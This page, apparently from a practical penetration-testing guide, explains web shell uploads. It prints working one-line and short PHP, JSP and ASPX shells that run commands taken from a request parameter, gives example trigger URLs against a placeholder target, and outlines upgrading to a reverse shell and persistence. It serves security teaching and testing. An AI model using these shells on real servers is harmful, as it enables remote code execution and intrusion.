File Upload Vulnerabilities: The Complete Practical Guide
Web Shell Upload: From File to RCE
How a web shell upload works: minimal PHP, JSP, and ASPX shells, finding the file's URL, triggering execution, and upgrading to a stable shell.
Published
A web shell is the classic payoff of a file upload: a small script you upload and then request, which runs commands on the server for you. The whole technique is getting executable content to land somewhere the server will run it, then calling it. One line is usually enough to turn an upload form into remote code execution.
What a web shell is and why one line is enough
A web shell is a server-side script that takes a command from the request and runs it. That is all it needs to do. One line that forwards a parameter to a command function gives you arbitrary execution, which is enough to read files, map the host, and stage a bigger tool. The minimal shell is the foothold, not the destination.
Minimal shells per runtime
Match the shell to what the server executes. PHP, on a server that runs PHP:
<?php system($_GET['c']); ?>
<?php echo shell_exec($_GET['c']); ?>
<?=`$_GET[0]`?>JSP, on a Java servlet container, reading the command output back:
<%@ page import="java.util.*,java.io.*" %>
<%
Process p = Runtime.getRuntime().exec(request.getParameter("c"));
Scanner s = new Scanner(p.getInputStream()).useDelimiter("\\A");
out.println(s.hasNext() ? s.next() : "");
%>ASPX, on IIS with ASP.NET, capturing and returning the output:
<%@ Page Language="C#" %>
<%
var p = new System.Diagnostics.Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + Request["c"];
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write(p.StandardOutput.ReadToEnd());
%>Fingerprint the stack before you choose. A shell for the wrong runtime is served as plain text and does nothing.
Finding where the file lands and its URL
Execution needs a reachable path. Upload a harmless file first and find where it goes:
- Watch the response for a URL, an id, or a stored filename.
- Look for a predictable directory like
/uploads/,/avatars/, or/files/. - Note whether your original filename is kept, which tells you a lot about what else is unchecked.
If the stored file is served from a path the runtime executes, you have a place to drop the shell.
Triggering it and running the first command
Once the shell is stored at a URL you can reach, request it with your command:
https://target.example/uploads/shell.php?c=id
https://target.example/uploads/shell.php?c=whoamiA command output in the response confirms execution. Start with id or whoami to see which account you are running as, then enumerate from there.
Upgrading to a stable shell
A one-liner over a query string is fragile, so turn it into something durable:
- Use it to write a larger, feature-complete shell to disk.
- Or spawn a reverse shell back to a listener you control for an interactive session.
- Pull down your tooling, establish persistence if the engagement allows, and move on to the host.
The minimal shell got you execution, and the upgrade makes it comfortable.
Getting the shell stored is the hard part, and that is where validation stands in your way. When the upload rejects your file, move to content-type and magic-byte bypass and extension blacklist bypass. Practice landing a shell on a free live target.
← Back to File Upload Vulnerabilities: The Complete Practical Guide